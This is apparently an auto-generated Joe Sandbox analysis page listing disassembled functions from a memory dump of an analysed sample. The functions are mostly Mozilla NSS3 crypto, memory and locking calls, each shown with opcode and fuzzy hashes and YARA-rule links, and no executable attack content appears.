Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 8560e97e14549657764e33983f4a43674eee3737ebdbb279adc9740806ee8705
Instruction ID: 11e743f344cad2b45593b049bad84bd1b045a338ab38a7f00aa26c3ab62702a0
Opcode Fuzzy Hash: 8560e97e14549657764e33983f4a43674eee3737ebdbb279adc9740806ee8705
Instruction Fuzzy Hash: 12719CB5A042999BDF00CF25CC80FDA77B9BF48308F095524ED199BA95D336E950CFA1

Function 6C3FAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C3FAB3E,?,?,?), ref: 6C3FAC35

Part of subcall function 6C3DCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C3DCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C3FAB3E,?,?,?), ref: 6C3FAC55

Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C4110F3
Part of subcall function 6C4110C0: EnterCriticalSection.KERNEL32(?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41110C
Part of subcall function 6C4110C0: PL_ArenaAllocate.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411141
Part of subcall function 6C4110C0: PR_Unlock.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411182
Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C3FAB3E,?,?), ref: 6C3FAC70

Part of subcall function 6C3DE300: TlsGetValue.KERNEL32 ref: 6C3DE33C
Part of subcall function 6C3DE300: EnterCriticalSection.KERNEL32(?), ref: 6C3DE350
Part of subcall function 6C3DE300: PR_Unlock.NSS3(?), ref: 6C3DE5BC
Part of subcall function 6C3DE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C3DE5CA
Part of subcall function 6C3DE300: TlsGetValue.KERNEL32 ref: 6C3DE5F2
Part of subcall function 6C3DE300: EnterCriticalSection.KERNEL32(?), ref: 6C3DE606
Part of subcall function 6C3DE300: PORT_Alloc_Util.NSS3(?), ref: 6C3DE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C3FAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C3FAB3E), ref: 6C3FACD7
PORT_Alloc_Util.NSS3(?), ref: 6C3FAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C3FAD2B

Part of subcall function 6C3DF360: TlsGetValue.KERNEL32(00000000,?,6C3FA904,?), ref: 6C3DF38B
Part of subcall function 6C3DF360: EnterCriticalSection.KERNEL32(?,?,?,6C3FA904,?), ref: 6C3DF3A0
Part of subcall function 6C3DF360: PR_Unlock.NSS3(?,?,?,?,6C3FA904,?), ref: 6C3DF3D3

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: b2e11b8fd3ceca3b56de95ff45b5333d8e69c75d206e1a3331f8e3ab227d60e2
Instruction ID: fd9eea7de958126893b5706106cad5ce1170e00e967106d39d0e0530d2489646
Opcode Fuzzy Hash: b2e11b8fd3ceca3b56de95ff45b5333d8e69c75d206e1a3331f8e3ab227d60e2
Instruction Fuzzy Hash: A93129B2E002055FEB00DF659C509AF777AAF84718B198528E8649BB40EB31ED168BB1

Function 6C3D8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C3D8C7C

Part of subcall function 6C479DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C4C0A27), ref: 6C479DC6
Part of subcall function 6C479DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C4C0A27), ref: 6C479DD1
Part of subcall function 6C479DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C479DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3D8CB0
TlsGetValue.KERNEL32 ref: 6C3D8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C3D8CE5
PR_Unlock.NSS3(?), ref: 6C3D8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C3D8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3D8D93

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: e97ac6b0519fa422e40c176068ee9b8c59ab57e86f04da6f6a8c32aff2cb18f8
Instruction ID: c5ebb14e1fed2bcbfb574593d2c92031f0792275756167adc88f1412609e7ead
Opcode Fuzzy Hash: e97ac6b0519fa422e40c176068ee9b8c59ab57e86f04da6f6a8c32aff2cb18f8
Instruction Fuzzy Hash: C7313772A01201AFE700AF68DC44BAAB774FF15318F15113AEA1567B90D771B924CBD2

Function 6C3D2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C3CE728,?,00000038,?,?,00000000), ref: 6C3D2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3D2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3D2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C3D2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C3D2E9E
PR_Unlock.NSS3(?), ref: 6C3D2EAB
PR_Unlock.NSS3(?), ref: 6C3D2F0D

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 4a299e1d725af343856c1d6f6af3ebb320c9c4a84a87d45e3446d1912c74b544
Instruction ID: 1c5426138107ea014e1fcc8b7dbb3a88c0c6bc68dbb11a897ed113d865877046
Opcode Fuzzy Hash: 4a299e1d725af343856c1d6f6af3ebb320c9c4a84a87d45e3446d1912c74b544
Instruction Fuzzy Hash: 2C31E776A001059FEB00AF64DD4486AB779FF56258B058564EC48C7A11EB33ED64CBE2

Function 6C41CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C41CD93,?), ref: 6C41CEEE

Part of subcall function 6C4114C0: TlsGetValue.KERNEL32 ref: 6C4114E0
Part of subcall function 6C4114C0: EnterCriticalSection.KERNEL32 ref: 6C4114F5
Part of subcall function 6C4114C0: PR_Unlock.NSS3 ref: 6C41150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C41CD93,?), ref: 6C41CEFC

Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C4110F3
Part of subcall function 6C4110C0: EnterCriticalSection.KERNEL32(?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41110C
Part of subcall function 6C4110C0: PL_ArenaAllocate.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411141
Part of subcall function 6C4110C0: PR_Unlock.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411182
Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C41CD93,?), ref: 6C41CF0B

Part of subcall function 6C410840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4108B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C41CD93,?), ref: 6C41CF1D

Part of subcall function 6C40FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C408D2D,?,00000000,?), ref: 6C40FB85
Part of subcall function 6C40FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C40FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C41CD93,?), ref: 6C41CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C41CD93,?), ref: 6C41CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C41CD93,?,?,?,?,?,?,?,?,?,?,?,6C41CD93,?), ref: 6C41CF78

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: cba04f5eb3e9ae0e515c2b1920697ada9e521878a14db282dbf94a49a906d987
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 291190B5E092445BEB00EB66AC41F7BBAEC9F5558AF04403DA849D7F81FB60D90886E1

Function 6C3C8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C3C8C1B
EnterCriticalSection.KERNEL32 ref: 6C3C8C34
PL_ArenaAllocate.NSS3 ref: 6C3C8C65
PR_Unlock.NSS3 ref: 6C3C8C9C
PR_Unlock.NSS3 ref: 6C3C8CB6

Part of subcall function 6C45DD70: TlsGetValue.KERNEL32 ref: 6C45DD8C
Part of subcall function 6C45DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C45DDB4

Strings

KRAM, xrefs: 6C3C8C8F

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 85bfd61294380f425d4e7cad12e0fa054b9dd90b4e99a2557bda9ef64db5311e
Instruction ID: fec708e98121c4bffc56252323710ab5a6e65783d8b6de4efaa2892ab615739d
Opcode Fuzzy Hash: 85bfd61294380f425d4e7cad12e0fa054b9dd90b4e99a2557bda9ef64db5311e
Instruction Fuzzy Hash: F52119B1A056118FD700AF68C48496DFBB4FF45208B06896ED8888B751EB35E999CF93

Function 6C3D8E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C3F2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C3C4F1C), ref: 6C3D8EA2

Part of subcall function 6C3FF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C3FF854
Part of subcall function 6C3FF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C3FF868
Part of subcall function 6C3FF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C3FF882
Part of subcall function 6C3FF820: free.MOZGLUE(04C483FF,?,?), ref: 6C3FF889
Part of subcall function 6C3FF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C3FF8A4
Part of subcall function 6C3FF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C3FF8AB
Part of subcall function 6C3FF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C3FF8C9
Part of subcall function 6C3FF820: free.MOZGLUE(280F10EC,?,?), ref: 6C3FF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C3F2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C3C4F1C), ref: 6C3D8EC3
TlsGetValue.KERNEL32(?,?,?,6C3F2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C3C4F1C), ref: 6C3D8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C3F2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C3D8EF1
PR_Unlock.NSS3 ref: 6C3D8F20

Strings

b.?l, xrefs: 6C3D8E96, 6C3D8F25

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.?l
API String ID: 1978757487-2657258545
Opcode ID: 347cc50c3d974698bec1f167676fe130bbfeb9703e02f09464d1dc7ff5d71c1b
Instruction ID: c3236b1a9dcd0b1ca5dd3848649fa75cfedd421924f6055872e8031b0b78a98c
Opcode Fuzzy Hash: 347cc50c3d974698bec1f167676fe130bbfeb9703e02f09464d1dc7ff5d71c1b
Instruction Fuzzy Hash: 36216771A09605AFC700AF29D484699BBF4BF08318F02556EE8989BB40DB31B854CFD3

Function 6C4C2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C4C2CA0
PR_ExitMonitor.NSS3 ref: 6C4C2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C4C2CD1
strdup.MOZGLUE(?), ref: 6C4C2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C4C2D27

Strings

Loaded library %s (static lib), xrefs: 6C4C2D22

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 3d254fd28f3ebcb7f05510f162944b45b227de395715ef4f064490dfca641f39
Instruction ID: cbacf17d56788ca12cb85e65441297ab9d92b1e6eb1438e0f67dfdafa258264e
Opcode Fuzzy Hash: 3d254fd28f3ebcb7f05510f162944b45b227de395715ef4f064490dfca641f39
Instruction Fuzzy Hash: 8211D0B97002409FEB20CF14DC4AE6677B4EB56359F05812DD809C7F51DB72E819CBA2

Function 6C410FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C3B87ED,00000800,6C3AEF74,00000000), ref: 6C411000
PR_NewLock.NSS3(?,00000800,6C3AEF74,00000000), ref: 6C411016

Part of subcall function 6C4798D0: calloc.MOZGLUE(00000001,00000084,6C3A0936,00000001,?,6C3A102C), ref: 6C4798E5

PL_InitArenaPool.NSS3(00000000,security,6C3B87ED,00000008,?,00000800,6C3AEF74,00000000), ref: 6C41102B
TlsGetValue.KERNEL32(00000000,?,?,6C3B87ED,00000800,6C3AEF74,00000000), ref: 6C411044
free.MOZGLUE(00000000,?,00000800,6C3AEF74,00000000), ref: 6C411064

Strings

security, xrefs: 6C411025

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: b052354c7d10568d877a78b6393aedf3428d484fd0158a0117471f5fdae5341d
Instruction ID: 90a24f838fcea2de098e9af0ce4028743329072c533ea0884cff2204c808785e
Opcode Fuzzy Hash: b052354c7d10568d877a78b6393aedf3428d484fd0158a0117471f5fdae5341d
Instruction Fuzzy Hash: E8012930E482505FE720AF288C05E663E74FF27755F020119D88896E51EB61D515DBE2

Function 6C452E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C453046

Part of subcall function 6C43EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C43EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C427FFB), ref: 6C45312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C453154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C452E8B

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

Part of subcall function 6C43F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C429BFF,?,00000000,00000000), ref: 6C43F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C427FFA), ref: 6C452EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C45317B

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 3666e41c0633fa6c27f6f10c0d0a11a8980cc840cbcc57dde88c67ac10da59d4
Instruction ID: c79d5369251d0870da787c2b3861e672dd354548611015b8eb2215407cd67b8b
Opcode Fuzzy Hash: 3666e41c0633fa6c27f6f10c0d0a11a8980cc840cbcc57dde88c67ac10da59d4
Instruction Fuzzy Hash: FFA1BC75A002289FDB24CF54CC80FEAB7B5EF49308F048099E94967781E731AD95CFA2

Function 6C41ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C41ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C41EDCE

Part of subcall function 6C410BE0: malloc.MOZGLUE(6C408D2D,?,00000000,?), ref: 6C410BF8
Part of subcall function 6C410BE0: TlsGetValue.KERNEL32(6C408D2D,?,00000000,?), ref: 6C410C15

free.MOZGLUE(00000000,?,?,?,?,6C41B04F), ref: 6C41EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C41EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C41EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C41EEFB

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: b1e3cd12a523a993258acc26fa2cac34dad9ddf64083e720d588f16c6eab14ec
Instruction ID: 39445029b8cf82ebd9ca8add76cfe917304b4b51b7cc1c6f8f0f4945ff84c127
Opcode Fuzzy Hash: b1e3cd12a523a993258acc26fa2cac34dad9ddf64083e720d588f16c6eab14ec
Instruction Fuzzy Hash: 2B8169B9A052059FEB14CF55C888FBA7BB5EF88308F14442CE8959BF51D730E815CBA1

Function 6C41CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C41C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C41DAE2,?), ref: 6C41C6C2

PR_Now.NSS3 ref: 6C41CD35

Part of subcall function 6C479DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C4C0A27), ref: 6C479DC6
Part of subcall function 6C479DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C4C0A27), ref: 6C479DD1
Part of subcall function 6C479DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C479DED

Part of subcall function 6C406C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C3B1C6F,00000000,00000004,?,?), ref: 6C406C3F

PR_GetCurrentThread.NSS3 ref: 6C41CD54

Part of subcall function 6C479BF0: TlsGetValue.KERNEL32(?,?,?,6C4C0A75), ref: 6C479C07

Part of subcall function 6C407260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C3B1CCC,00000000,00000000,?,?), ref: 6C40729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C41CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C41CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C41CE2C

Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C4110F3
